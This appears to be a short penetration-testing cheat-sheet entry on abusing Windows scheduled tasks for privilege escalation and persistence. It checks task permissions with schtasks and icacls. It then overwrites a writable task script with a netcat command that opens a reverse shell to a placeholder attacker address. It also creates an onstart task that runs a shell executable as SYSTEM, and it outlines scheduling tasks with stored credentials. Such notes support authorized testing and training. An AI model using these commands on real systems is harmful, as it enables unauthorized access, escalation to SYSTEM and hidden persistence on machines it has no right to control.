Scheduled Tasks
Example:
Schtasks /query /tn vulntask /fo list /vWorth checking: Task to run, run as user.
icacls c:\tasks\schtasks.bat (example)Check file permissions on the executable.
If our user has full access (f) or writing permissions, we insert the payload like:
echo c:\tools\nc64.exe -e cmd.exe ATTACK_IP PORT > C:\tasks\schtasks.batStart a listener, then you got yourself a shell!
BONUS! Persistence/PrivEsc using scheduled tasks
1) Create a scheduled task to execute your shell
schtasks /create /sc onstart /tn shell /tr C:\inetpub\wwwroot\shell.exe /ru SYSTEM2) Run task
1) Create PowerShell objects to store your credentials
2) Create a scheduled task using our credentials
3) Run task
Last updated